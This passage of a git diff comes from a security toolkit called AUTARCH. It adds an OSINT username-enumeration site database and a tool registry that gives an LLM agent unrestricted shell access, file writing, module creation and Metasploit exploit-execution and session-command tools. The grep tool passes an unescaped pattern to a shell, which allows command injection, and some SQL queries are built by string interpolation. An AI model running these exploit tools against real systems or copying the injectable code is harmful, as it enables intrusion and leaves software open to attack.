+ return False + except ValueError: + return False + else: + try: + if field_val != int(pattern): + return False + except ValueError: + return False + + return True + + def _resolve_variables(self, action: dict, context: dict) -> dict: + """Replace $variable placeholders in action parameters with context values.""" + resolved = {} + + # Build variable map from context + variables = { + '$threat_score': str(context.get('threat_score', {}).get('score', 0)), + '$threat_level': context.get('threat_score', {}).get('level', 'LOW'), + } + + # Source IP = top talker (most connections) + connections = context.get('connections', []) + if connections: + ip_counts = {} + for c in connections: + rip = c.get('remote_addr', '') + if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + ip_counts[rip] = ip_counts.get(rip, 0) + 1 + if ip_counts: + variables['$source_ip'] = max(ip_counts, key=ip_counts.get) + + # New port + new_ports = context.get('new_ports', []) + if new_ports: + variables['$new_port'] = str(new_ports[0].get('port', '')) + variables['$suspicious_pid'] = str(new_ports[0].get('pid', '')) + + # DDoS attack type + ddos = context.get('ddos', {}) + if ddos: + variables['$attack_type'] = ddos.get('attack_type', 'unknown') + + # Resolve in all string values + for key, val in action.items(): + if isinstance(val, str): + for var_name, var_val in variables.items(): + val = val.replace(var_name, var_val) + resolved[key] = val + + return resolved diff --git a/core/sites_db.py b/core/sites_db.py new file mode 100644 index 0000000..293a806 --- /dev/null +++ b/core/sites_db.py @@ -0,0 +1,712 @@ +""" +AUTARCH Sites Database Module +Unified username enumeration database from multiple OSINT sources + +Database: dh_sites.db - Master database with detection patterns +""" + +import os +import json +import sqlite3 +import threading +from pathlib import Path +from typing import Optional, List, Dict, Any, Tuple +from datetime import datetime + +from .banner import Colors +from .config import get_config + + +class SitesDatabase: + """Unified OSINT sites database with SQLite storage.""" + + # Default database is dh_sites.db (the new categorized database with detection fields) + DEFAULT_DB = "dh_sites.db" + + # Detection method mapping + DETECTION_METHODS = { + 'status_code': 'status', + 'message': 'content', + 'response_url': 'redirect', + 'redirection': 'redirect', + } + + def __init__(self, db_path: str = None): + """Initialize sites database. + + Args: + db_path: Path to SQLite database. Defaults to data/sites/dh_sites.db + """ + if db_path is None: + from core.paths import get_data_dir + self.data_dir = get_data_dir() / "sites" + self.db_path = self.data_dir / self.DEFAULT_DB + else: + self.db_path = Path(db_path) + self.data_dir = self.db_path.parent + + self.data_dir.mkdir(parents=True, exist_ok=True) + self._conn = None + self._lock = threading.Lock() + + def _get_connection(self) -> sqlite3.Connection: + """Get thread-safe database connection.""" + if self._conn is None: + self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False) + self._conn.row_factory = sqlite3.Row + return self._conn + + def get_stats(self) -> Dict[str, Any]: + """Get database statistics.""" + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + stats = { + 'db_path': str(self.db_path), + 'db_size_mb': round(self.db_path.stat().st_size / 1024 / 1024, 2) if self.db_path.exists() else 0, + 'total_sites': 0, + 'enabled_sites': 0, + 'nsfw_sites': 0, + 'with_detection': 0, + 'by_source': {}, + 'by_category': {}, + 'by_error_type': {}, + } + + try: + cursor.execute("SELECT COUNT(*) FROM sites") + stats['total_sites'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1") + stats['enabled_sites'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM sites WHERE nsfw = 1") + stats['nsfw_sites'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM sites WHERE error_type IS NOT NULL") + stats['with_detection'] = cursor.fetchone()[0] + + cursor.execute("SELECT source, COUNT(*) FROM sites GROUP BY source ORDER BY COUNT(*) DESC") + stats['by_source'] = {row[0]: row[1] for row in cursor.fetchall()} + + cursor.execute("SELECT category, COUNT(*) FROM sites GROUP BY category ORDER BY COUNT(*) DESC") + stats['by_category'] = {row[0]: row[1] for row in cursor.fetchall()} + + cursor.execute("SELECT error_type, COUNT(*) FROM sites WHERE error_type IS NOT NULL GROUP BY error_type ORDER BY COUNT(*) DESC") + stats['by_error_type'] = {row[0]: row[1] for row in cursor.fetchall()} + + except sqlite3.Error: + pass + + return stats + + # ========================================================================= + # QUERY METHODS + # ========================================================================= + + def get_sites( + self, + category: str = None, + include_nsfw: bool = False, + enabled_only: bool = True, + source: str = None, + limit: int = None, + order_by: str = 'name' + ) -> List[Dict]: + """Get sites from database. + + Args: + category: Filter by category. + include_nsfw: Include NSFW sites. + enabled_only: Only return enabled sites. + source: Filter by source. + limit: Maximum number of results. + order_by: 'name' or 'category'. + + Returns: + List of site dictionaries. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + query = "SELECT * FROM sites WHERE 1=1" + params = [] + + if category: + query += " AND category = ?" + params.append(category) + + if not include_nsfw: + query += " AND nsfw = 0" + + if enabled_only: + query += " AND enabled = 1" + + if source: + query += " AND source = ?" + params.append(source) + + query += f" ORDER BY {order_by} COLLATE NOCASE ASC" + + if limit: + query += f" LIMIT {limit}" + + cursor.execute(query, params) + rows = cursor.fetchall() + + return [dict(row) for row in rows] + + def get_site(self, name: str) -> Optional[Dict]: + """Get a specific site by name. + + Args: + name: Site name. + + Returns: + Site dictionary or None. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + cursor.execute("SELECT * FROM sites WHERE name = ? COLLATE NOCASE", (name,)) + row = cursor.fetchone() + + return dict(row) if row else None + + def search_sites(self, query: str, include_nsfw: bool = False, limit: int = 100) -> List[Dict]: + """Search sites by name. + + Args: + query: Search query. + include_nsfw: Include NSFW sites. + limit: Maximum results. + + Returns: + List of matching sites. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + sql = "SELECT * FROM sites WHERE name LIKE ? AND enabled = 1" + params = [f"%{query}%"] + + if not include_nsfw: + sql += " AND nsfw = 0" + + sql += f" ORDER BY name COLLATE NOCASE ASC LIMIT {limit}" + + cursor.execute(sql, params) + return [dict(row) for row in cursor.fetchall()] + + def get_categories(self) -> List[Tuple[str, int]]: + """Get all categories with site counts. + + Returns: + List of (category, count) tuples. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + cursor.execute(""" + SELECT category, COUNT(*) as count + FROM sites + WHERE enabled = 1 + GROUP BY category + ORDER BY count DESC + """) + + return [(row[0], row[1]) for row in cursor.fetchall()] + + def get_sites_for_scan( + self, + categories: List[str] = None, + include_nsfw: bool = False, + max_sites: int = 500, + sort_alphabetically: bool = True + ) -> List[Dict]: + """Get sites optimized for username scanning with detection patterns. + + Args: + categories: List of categories to include. + include_nsfw: Include NSFW sites. + max_sites: Maximum number of sites. + sort_alphabetically: Sort by name (True) or by category (False). + + Returns: + List of sites ready for scanning with detection info. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + query = """SELECT name, url_template, category, source, nsfw, + error_type, error_code, error_string, match_code, match_string + FROM sites WHERE enabled = 1""" + params = [] + + if categories: + placeholders = ','.join('?' * len(categories)) + query += f" AND category IN ({placeholders})" + params.extend(categories) + + if not include_nsfw: + query += " AND nsfw = 0" + + # Sort order + if sort_alphabetically: + query += " ORDER BY name COLLATE NOCASE ASC" + else: + query += " ORDER BY category ASC, name COLLATE NOCASE ASC" + + query += f" LIMIT {max_sites}" + + cursor.execute(query, params) + rows = cursor.fetchall() + + # Format for scanning with detection info + sites = [] + for row in rows: + name, url, category, source, nsfw, error_type, error_code, error_string, match_code, match_string = row + + # Map error_type to detection method + method = self.DETECTION_METHODS.get(error_type, 'status') if error_type else 'status' + + sites.append({ + 'name': name, + 'url': url, + 'category': category, + 'source': source, + 'nsfw': bool(nsfw), + # Detection fields + 'method': method, + 'error_type': error_type, + 'error_code': error_code, # HTTP code when NOT found (e.g., 404) + 'error_string': error_string, # String when NOT found + 'match_code': match_code, # HTTP code when found (e.g., 200) + 'match_string': match_string, # String when found + }) + + return sites + + def get_site_by_url(self, url_template: str) -> Optional[Dict]: + """Get a site by its URL template. + + Args: + url_template: URL template with {} placeholder. + + Returns: + Site dictionary or None. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + cursor.execute("SELECT * FROM sites WHERE url_template = ?", (url_template,)) + row = cursor.fetchone() + + return dict(row) if row else None + + def toggle_site(self, name: str, enabled: bool) -> bool: + """Enable or disable a site. + + Args: + name: Site name. + enabled: Enable (True) or disable (False). + + Returns: + True if successful. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + cursor.execute( + "UPDATE sites SET enabled = ? WHERE name = ? COLLATE NOCASE", + (1 if enabled else 0, name) + ) + conn.commit() + + return cursor.rowcount > 0 + + def add_site( + self, + name: str, + url_template: str, + category: str = 'other', + source: str = 'custom', + nsfw: bool = False, + error_type: str = 'status_code', + error_code: int = None, + error_string: str = None, + match_code: int = None, + match_string: str = None, + ) -> bool: + """Add a custom site to the database. + + Args: + name: Site name. + url_template: URL with {} placeholder for username. + category: Site category. + source: Source identifier. + nsfw: Whether site is NSFW. + error_type: Detection type (status_code, message, etc). + error_code: HTTP status when user NOT found. + error_string: String when user NOT found. + match_code: HTTP status when user found. + match_string: String when user found. + + Returns: + True if successful. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + try: + cursor.execute(""" + INSERT OR REPLACE INTO sites + (name, url_template, category, source, nsfw, enabled, + error_type, error_code, error_string, match_code, match_string) + VALUES (?, ?, ?, ?, ?, 1, ?, ?, ?, ?, ?) + """, ( + name, + url_template, + category, + source, + 1 if nsfw else 0, + error_type, + error_code, + error_string, + match_code, + match_string, + )) + conn.commit() + return True + except Exception: + return False + + def update_detection( + self, + name: str, + error_type: str = None, + error_code: int = None, + error_string: str = None, + match_code: int = None, + match_string: str = None, + ) -> bool: + """Update detection settings for a site. + + Args: + name: Site name. + error_type: Detection type. + error_code: HTTP status when NOT found. + error_string: String when NOT found. + match_code: HTTP status when found. + match_string: String when found. + + Returns: + True if successful. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + updates = [] + params = [] + + if error_type is not None: + updates.append("error_type = ?") + params.append(error_type) + if error_code is not None: + updates.append("error_code = ?") + params.append(error_code) + if error_string is not None: + updates.append("error_string = ?") + params.append(error_string) + if match_code is not None: + updates.append("match_code = ?") + params.append(match_code) + if match_string is not None: + updates.append("match_string = ?") + params.append(match_string) + + if not updates: + return False + + params.append(name) + query = f"UPDATE sites SET {', '.join(updates)} WHERE name = ? COLLATE NOCASE" + + cursor.execute(query, params) + conn.commit() + + return cursor.rowcount > 0 + + def get_sites_without_detection(self, limit: int = 100) -> List[Dict]: + """Get sites that don't have detection patterns configured. + + Args: + limit: Maximum results. + + Returns: + List of sites without detection info. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + cursor.execute(""" + SELECT * FROM sites + WHERE enabled = 1 + AND (error_string IS NULL OR error_string = '') + AND (match_string IS NULL OR match_string = '') + ORDER BY name COLLATE NOCASE ASC + LIMIT ? + """, (limit,)) + + return [dict(row) for row in cursor.fetchall()] + + def get_detection_coverage(self) -> Dict[str, Any]: + """Get statistics on detection pattern coverage. + + Returns: + Dictionary with coverage statistics. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + stats = {} + + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1") + total = cursor.fetchone()[0] + stats['total_enabled'] = total + + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND error_type IS NOT NULL") + stats['with_error_type'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND error_string IS NOT NULL AND error_string != ''") + stats['with_error_string'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND match_string IS NOT NULL AND match_string != ''") + stats['with_match_string'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND error_code IS NOT NULL") + stats['with_error_code'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND match_code IS NOT NULL") + stats['with_match_code'] = cursor.fetchone()[0] + + # Calculate percentages + if total > 0: + stats['pct_error_type'] = round(stats['with_error_type'] * 100 / total, 1) + stats['pct_error_string'] = round(stats['with_error_string'] * 100 / total, 1) + stats['pct_match_string'] = round(stats['with_match_string'] * 100 / total, 1) + + return stats + + def get_disabled_count(self) -> int: + """Get count of disabled sites.""" + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 0") + return cursor.fetchone()[0] + + def enable_all_sites(self) -> int: + """Re-enable all disabled sites.""" + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + cursor.execute("UPDATE sites SET enabled = 1 WHERE enabled = 0") + count = cursor.rowcount + conn.commit() + return count + + def disable_category(self, category: str) -> int: + """Disable all sites in a category. + + Args: + category: Category to disable. + + Returns: + Number of sites disabled. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + cursor.execute("UPDATE sites SET enabled = 0 WHERE category = ? AND enabled = 1", (category,)) + count = cursor.rowcount + conn.commit() + return count + + def enable_category(self, category: str) -> int: + """Enable all sites in a category. + + Args: + category: Category to enable. + + Returns: + Number of sites enabled. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + cursor.execute("UPDATE sites SET enabled = 1 WHERE category = ? AND enabled = 0", (category,)) + count = cursor.rowcount + conn.commit() + return count + + def load_from_json(self, json_path: str = None) -> Dict[str, int]: + """Load/reload sites from the master dh.json file. + + Args: + json_path: Path to JSON file. Defaults to data/sites/dh.json + + Returns: + Statistics dict with import counts. + """ + if json_path is None: + json_path = self.data_dir / "dh.json" + else: + json_path = Path(json_path) + + stats = {'total': 0, 'new': 0, 'updated': 0, 'errors': 0} + + if not json_path.exists(): + print(f"{Colors.RED}[X] JSON file not found: {json_path}{Colors.RESET}") + return stats + + print(f"{Colors.CYAN}[*] Loading sites from {json_path}...{Colors.RESET}") + + try: + with open(json_path, 'r') as f: + data = json.load(f) + + sites = data.get('sites', []) + stats['total'] = len(sites) + + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + for site in sites: + try: + cursor.execute(""" + INSERT OR REPLACE INTO sites + (name, url_template, category, source, nsfw, enabled, + error_type, error_code, error_string, match_code, match_string) + VALUES (?, ?, ?, ?, ?, 1, ?, ?, ?, ?, ?) + """, ( + site['name'], + site['url'], + site.get('category', 'other'), + site.get('source', 'dh'), + 1 if site.get('nsfw') else 0, + site.get('error_type'), + site.get('error_code'), + site.get('error_string'), + site.get('match_code'), + site.get('match_string'), + )) + stats['new'] += 1 + except Exception as e: + stats['errors'] += 1 + + conn.commit() + + print(f"{Colors.GREEN}[+] Loaded {stats['new']} sites from JSON{Colors.RESET}") + + except Exception as e: + print(f"{Colors.RED}[X] Error loading JSON: {e}{Colors.RESET}") + + return stats + + def export_to_json(self, json_path: str = None) -> bool: + """Export database to JSON format. + + Args: + json_path: Output path. Defaults to data/sites/dh_export.json + + Returns: + True if successful. + """ + if json_path is None: + json_path = self.data_dir / "dh_export.json" + else: + json_path = Path(json_path) + + try: + sites = self.get_sites(enabled_only=False, include_nsfw=True) + + # Get category and source stats + stats = self.get_stats() + + export_data = { + "project": "darkHal Security Group - AUTARCH", + "version": "1.1", + "description": "Exported sites database with detection patterns", + "total_sites": len(sites), + "stats": { + "by_category": stats['by_category'], + "by_source": stats['by_source'], + "by_error_type": stats['by_error_type'], + }, + "sites": [] + } + + for site in sites: + site_entry = { + "name": site['name'], + "url": site['url_template'], + "category": site['category'], + "source": site['source'], + "nsfw": bool(site['nsfw']), + "enabled": bool(site['enabled']), + } + + # Add detection fields if present + if site.get('error_type'): + site_entry['error_type'] = site['error_type'] + if site.get('error_code'): + site_entry['error_code'] = site['error_code'] + if site.get('error_string'): + site_entry['error_string'] = site['error_string'] + if site.get('match_code'): + site_entry['match_code'] = site['match_code'] + if site.get('match_string'): + site_entry['match_string'] = site['match_string'] + + export_data['sites'].append(site_entry) + + with open(json_path, 'w') as f: + json.dump(export_data, f, indent=2) + + print(f"{Colors.GREEN}[+] Exported {len(sites)} sites to {json_path}{Colors.RESET}") + return True + + except Exception as e: + print(f"{Colors.RED}[X] Export error: {e}{Colors.RESET}") + return False + + def close(self): + """Close database connection.""" + if self._conn: + self._conn.close() + self._conn = None + + +# Global instance +_sites_db: Optional[SitesDatabase] = None + + +def get_sites_db() -> SitesDatabase: + """Get the global sites database instance.""" + global _sites_db + if _sites_db is None: + _sites_db = SitesDatabase() + return _sites_db diff --git a/core/tools.py b/core/tools.py new file mode 100644 index 0000000..f4db5a7 --- /dev/null +++ b/core/tools.py @@ -0,0 +1,675 @@ +""" +AUTARCH Tool System +Defines tools that the agent can use to interact with the environment +""" + +import os +import subprocess +import json +from typing import Callable, Dict, List, Any, Optional +from dataclasses import dataclass, field +from pathlib import Path + +from .banner import Colors + + +@dataclass +class ToolParameter: + """Definition of a tool parameter.""" + name: str + description: str + type: str = "string" + required: bool = True + default: Any = None + + +@dataclass +class Tool: + """Definition of an agent tool.""" + name: str + description: str + function: Callable + parameters: List[ToolParameter] = field(default_factory=list) + category: str = "general" + + def to_schema(self) -> Dict[str, Any]: + """Convert tool to JSON schema for LLM.""" + properties = {} + required = [] + + for param in self.parameters: + properties[param.name] = { + "type": param.type, + "description": param.description + } + if param.required: + required.append(param.name) + + return { + "name": self.name, + "description": self.description, + "parameters": { + "type": "object", + "properties": properties, + "required": required + } + } + + def execute(self, **kwargs) -> Dict[str, Any]: + """Execute the tool with given parameters. + + Returns: + Dict with 'success' bool and 'result' or 'error' string. + """ + try: + result = self.function(**kwargs) + return {"success": True, "result": result} + except Exception as e: + return {"success": False, "error": str(e)} + + +class ToolRegistry: + """Registry for managing available tools.""" + + def __init__(self): + self._tools: Dict[str, Tool] = {} + self._register_builtin_tools() + + def register(self, tool: Tool): + """Register a tool.""" + self._tools[tool.name] = tool + + def unregister(self, name: str): + """Unregister a tool by name.""" + if name in self._tools: + del self._tools[name] + + def get(self, name: str) -> Optional[Tool]: + """Get a tool by name.""" + return self._tools.get(name) + + def list_tools(self) -> List[Tool]: + """List all registered tools.""" + return list(self._tools.values()) + + def get_tools_schema(self) -> List[Dict[str, Any]]: + """Get JSON schema for all tools.""" + return [tool.to_schema() for tool in self._tools.values()] + + def get_tools_prompt(self) -> str: + """Generate a tools description for the LLM prompt.""" + lines = ["Available tools:"] + for tool in self._tools.values(): + lines.append(f"\n## {tool.name}") + lines.append(f"Description: {tool.description}") + if tool.parameters: + lines.append("Parameters:") + for param in tool.parameters: + req = "(required)" if param.required else "(optional)" + lines.append(f" - {param.name} [{param.type}] {req}: {param.description}") + return "\n".join(lines) + + def execute(self, tool_name: str, **kwargs) -> Dict[str, Any]: + """Execute a tool by name. + + Args: + tool_name: Name of the tool to execute. + **kwargs: Parameters to pass to the tool. + + Returns: + Dict with execution result. + """ + tool = self.get(tool_name) + if not tool: + return {"success": False, "error": f"Tool '{tool_name}' not found"} + return tool.execute(**kwargs) + + def _register_builtin_tools(self): + """Register built-in tools.""" + + # Shell command execution + self.register(Tool( + name="shell", + description="Execute a shell command and return the output. Use for system operations, running scripts, or gathering system information.", + function=self._tool_shell, + parameters=[ + ToolParameter("command", "The shell command to execute", "string", True), + ToolParameter("timeout", "Timeout in seconds (default 30)", "integer", False, 30), + ], + category="system" + )) + + # Read file + self.register(Tool( + name="read_file", + description="Read the contents of a file. Use to examine files, configs, or source code.", + function=self._tool_read_file, + parameters=[ + ToolParameter("path", "Path to the file to read", "string", True), + ToolParameter("max_lines", "Maximum number of lines to read (default all)", "integer", False), + ], + category="filesystem" + )) + + # Write file + self.register(Tool( + name="write_file", + description="Write content to a file. Creates the file if it doesn't exist, overwrites if it does.", + function=self._tool_write_file, + parameters=[ + ToolParameter("path", "Path to the file to write", "string", True), + ToolParameter("content", "Content to write to the file", "string", True), + ], + category="filesystem" + )) + + # List directory + self.register(Tool( + name="list_dir", + description="List contents of a directory. Use to explore filesystem structure.", + function=self._tool_list_dir, + parameters=[ + ToolParameter("path", "Path to the directory (default: current)", "string", False, "."), + ToolParameter("show_hidden", "Include hidden files (default: false)", "boolean", False, False), + ], + category="filesystem" + )) + + # Search files + self.register(Tool( + name="search_files", + description="Search for files matching a pattern. Use to find specific files.", + function=self._tool_search_files, + parameters=[ + ToolParameter("pattern", "Glob pattern to match (e.g., '*.py', '**/*.txt')", "string", True), + ToolParameter("path", "Starting directory (default: current)", "string", False, "."), + ], + category="filesystem" + )) + + # Search in files (grep) + self.register(Tool( + name="search_content", + description="Search for text content within files. Use to find specific code or text.", + function=self._tool_search_content, + parameters=[ + ToolParameter("pattern", "Text or regex pattern to search for", "string", True), + ToolParameter("path", "File or directory to search in", "string", False, "."), + ToolParameter("file_pattern", "Glob pattern for files to search (e.g., '*.py')", "string", False), + ], + category="filesystem" + )) + + # Create module + self.register(Tool( + name="create_module", + description="Create a new AUTARCH module. Writes a Python file to the modules/ directory that becomes available in the dashboard.", + function=self._tool_create_module, + parameters=[ + ToolParameter("name", "Module filename without .py extension (e.g., port_scanner)", "string", True), + ToolParameter("category", "Module category: defense, offense, counter, analyze, osint, or simulate", "string", True), + ToolParameter("code", "Complete Python source code for the module", "string", True), + ], + category="development" + )) + + # Task complete + self.register(Tool( + name="task_complete", + description="Mark the current task as complete. Use when you have fully accomplished the goal.", + function=self._tool_task_complete, + parameters=[ + ToolParameter("summary", "Summary of what was accomplished", "string", True), + ], + category="control" + )) + + # Ask user + self.register(Tool( + name="ask_user", + description="Ask the user a question when you need clarification or input.", + function=self._tool_ask_user, + parameters=[ + ToolParameter("question", "The question to ask the user", "string", True), + ], + category="interaction" + )) + + # Metasploit tools + self.register(Tool( + name="msf_connect", + description="Connect to Metasploit RPC. Required before using other MSF tools.", + function=self._tool_msf_connect, + parameters=[ + ToolParameter("password", "MSF RPC password (uses saved if not provided)", "string", False), + ], + category="msf" + )) + + self.register(Tool( + name="msf_search", + description="Search for Metasploit modules by keyword.", + function=self._tool_msf_search, + parameters=[ + ToolParameter("query", "Search query (e.g., 'smb', 'apache', 'cve:2021')", "string", True), + ], + category="msf" + )) + + self.register(Tool( + name="msf_module_info", + description="Get detailed information about a Metasploit module.", + function=self._tool_msf_module_info, + parameters=[ + ToolParameter("module_type", "Module type: exploit, auxiliary, post, payload", "string", True), + ToolParameter("module_name", "Module name (e.g., 'windows/smb/ms17_010_eternalblue')", "string", True), + ], + category="msf" + )) + + self.register(Tool( + name="msf_module_options", + description="Get available options for a Metasploit module.", + function=self._tool_msf_module_options, + parameters=[ + ToolParameter("module_type", "Module type: exploit, auxiliary, post, payload", "string", True), + ToolParameter("module_name", "Module name", "string", True), + ], + category="msf" + )) + + self.register(Tool( + name="msf_execute", + description="Execute a Metasploit module with specified options.", + function=self._tool_msf_execute, + parameters=[ + ToolParameter("module_type", "Module type: exploit, auxiliary, post", "string", True), + ToolParameter("module_name", "Module name", "string", True), + ToolParameter("options", "JSON object of module options (e.g., {\"RHOSTS\": \"192.168.1.1\"})", "string", True), + ], + category="msf" + )) + + self.register(Tool( + name="msf_sessions", + description="List active Metasploit sessions.", + function=self._tool_msf_sessions, + parameters=[], + category="msf" + )) + + self.register(Tool( + name="msf_session_command", + description="Execute a command in a Metasploit session.", + function=self._tool_msf_session_command, + parameters=[ + ToolParameter("session_id", "Session ID", "string", True), + ToolParameter("command", "Command to execute", "string", True), + ], + category="msf" + )) + + self.register(Tool( + name="msf_console", + description="Run a command in the Metasploit console.", + function=self._tool_msf_console, + parameters=[ + ToolParameter("command", "Console command to run", "string", True), + ], + category="msf" + )) + + # Built-in tool implementations + + def _tool_shell(self, command: str, timeout: int = 30) -> str: + """Execute a shell command.""" + try: + result = subprocess.run( + command, + shell=True, + capture_output=True, + text=True, + timeout=timeout + ) + output = result.stdout + if result.stderr: + output += f"\n[stderr]: {result.stderr}" + if result.returncode != 0: + output += f"\n[exit code]: {result.returncode}" + return output.strip() or "[no output]" + except subprocess.TimeoutExpired: + return f"[error]: Command timed out after {timeout} seconds" + except Exception as e: + return f"[error]: {str(e)}" + + def _tool_read_file(self, path: str, max_lines: int = None) -> str: + """Read a file's contents.""" + path = Path(path).expanduser() + if not path.exists(): + raise FileNotFoundError(f"File not found: {path}") + if not path.is_file(): + raise ValueError(f"Not a file: {path}") + + with open(path, 'r', errors='replace') as f: + if max_lines: + lines = [] + for i, line in enumerate(f): + if i >= max_lines: + lines.append(f"... [{path.stat().st_size} bytes total, truncated at {max_lines} lines]") + break + lines.append(line.rstrip()) + return '\n'.join(lines) + else: + return f.read() + + def _tool_write_file(self, path: str, content: str) -> str: + """Write content to a file.""" + path = Path(path).expanduser() + path.parent.mkdir(parents=True, exist_ok=True) + with open(path, 'w') as f: + f.write(content) + return f"Successfully wrote {len(content)} bytes to {path}" + + def _tool_list_dir(self, path: str = ".", show_hidden: bool = False) -> str: + """List directory contents.""" + path = Path(path).expanduser() + if not path.exists(): + raise FileNotFoundError(f"Directory not found: {path}") + if not path.is_dir(): + raise ValueError(f"Not a directory: {path}") + + entries = [] + for entry in sorted(path.iterdir()): + if not show_hidden and entry.name.startswith('.'): + continue + prefix = "d " if entry.is_dir() else "f " + entries.append(f"{prefix}{entry.name}") + + return '\n'.join(entries) if entries else "[empty directory]" + + def _tool_search_files(self, pattern: str, path: str = ".") -> str: + """Search for files matching a pattern.""" + path = Path(path).expanduser() + matches = list(path.glob(pattern)) + + if not matches: + return f"No files matching '{pattern}'" + + result = [] + for match in matches[:50]: # Limit results + result.append(str(match)) + + if len(matches) > 50: + result.append(f"... and {len(matches) - 50} more") + + return '\n'.join(result) + + def _tool_search_content(self, pattern: str, path: str = ".", file_pattern: str = None) -> str: + """Search for content in files.""" + try: + cmd = f"grep -rn '{pattern}' {path}" + if file_pattern: + cmd = f"grep -rn --include='{file_pattern}' '{pattern}' {path}" + + result = subprocess.run( + cmd, + shell=True, + capture_output=True, + text=True, + timeout=30 + ) + + output = result.stdout.strip() + if not output: + return f"No matches found for '{pattern}'" + + # Limit output + lines = output.split('\n') + if len(lines) > 30: + return '\n'.join(lines[:30]) + f"\n... and {len(lines) - 30} more matches" + return output + + except subprocess.TimeoutExpired: + return "[error]: Search timed out" + except Exception as e: + return f"[error]: {str(e)}" + + def _tool_create_module(self, name: str, category: str, code: str) -> str: + """Create a new AUTARCH module in the modules/ directory.""" + import importlib.util as ilu + + valid_categories = ('defense', 'offense', 'counter', 'analyze', 'osint', 'simulate') + category = category.lower().strip() + if category not in valid_categories: + return f"[error]: Invalid category '{category}'. Must be one of: {', '.join(valid_categories)}" + + # Sanitize name + name = name.strip().replace(' ', '_').replace('-', '_').lower() + if not name.replace('_', '').isalnum(): + return f"[error]: Invalid module name '{name}'. Use only letters, numbers, and underscores." + + # Check required attributes in source code + required = ['DESCRIPTION', 'VERSION', 'CATEGORY', 'def run('] + missing = [r for r in required if r not in code] + if missing: + return f"[error]: Module code is missing required elements: {', '.join(missing)}" + + # Determine modules directory + modules_dir = Path(__file__).parent.parent / 'modules' + module_path = modules_dir / f'{name}.py' + + if module_path.exists(): + return f"[error]: Module '{name}' already exists at {module_path}. Choose a different name." + + # Write the module file + try: + module_path.write_text(code, encoding='utf-8') + except Exception as e: + return f"[error]: Failed to write module: {e}" + + # Validate by attempting to import + try: + spec = ilu.spec_from_file_location(name, module_path) + mod = ilu.module_from_spec(spec) + spec.loader.exec_module(mod) + + # Verify it has run() + if not hasattr(mod, 'run'): + module_path.unlink() + return "[error]: Module loaded but has no run() function. Module deleted." + + except Exception as e: + # Import failed — delete the bad module + try: + module_path.unlink() + except Exception: + pass + return f"[error]: Module failed to import: {e}. Module deleted." + + return f"Module '{name}' created successfully at {module_path}. Category: {category}. It is now available in the dashboard." + + def _tool_task_complete(self, summary: str) -> str: + """Mark task as complete - this is a control signal.""" + return f"__TASK_COMPLETE__:{summary}" + + def _tool_ask_user(self, question: str) -> str: + """Ask user a question - handled by agent loop.""" + return f"__ASK_USER__:{question}" + + # Metasploit tool implementations + + def _tool_msf_connect(self, password: str = None) -> str: + """Connect to Metasploit RPC.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + try: + msf.connect(password) + version = msf.rpc.get_version() + return f"Connected to Metasploit {version.get('version', 'Unknown')}" + except MSFError as e: + return f"[error]: {e}" + + def _tool_msf_search(self, query: str) -> str: + """Search for Metasploit modules.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + if not msf.is_connected: + return "[error]: Not connected to Metasploit. Use msf_connect first." + + try: + results = msf.rpc.search_modules(query) + if not results: + return f"No modules found matching '{query}'" + + output = [] + for i, mod in enumerate(results[:20]): # Limit to 20 results + if isinstance(mod, dict): + name = mod.get('fullname', mod.get('name', 'Unknown')) + desc = mod.get('description', '')[:60] + output.append(f"{name}\n {desc}") + else: + output.append(str(mod)) + + if len(results) > 20: + output.append(f"\n... and {len(results) - 20} more results") + + return '\n'.join(output) + except MSFError as e: + return f"[error]: {e}" + + def _tool_msf_module_info(self, module_type: str, module_name: str) -> str: + """Get module information.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + if not msf.is_connected: + return "[error]: Not connected to Metasploit. Use msf_connect first." + + try: + info = msf.rpc.get_module_info(module_type, module_name) + output = [ + f"Name: {info.name}", + f"Type: {info.type}", + f"Rank: {info.rank}", + f"Description: {info.description[:200]}..." if len(info.description) > 200 else f"Description: {info.description}", + ] + if info.author: + output.append(f"Authors: {', '.join(info.author[:3])}") + return '\n'.join(output) + except MSFError as e: + return f"[error]: {e}" + + def _tool_msf_module_options(self, module_type: str, module_name: str) -> str: + """Get module options.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + if not msf.is_connected: + return "[error]: Not connected to Metasploit. Use msf_connect first." + + try: + options = msf.rpc.get_module_options(module_type, module_name) + output = [] + for name, details in options.items(): + if isinstance(details, dict): + required = 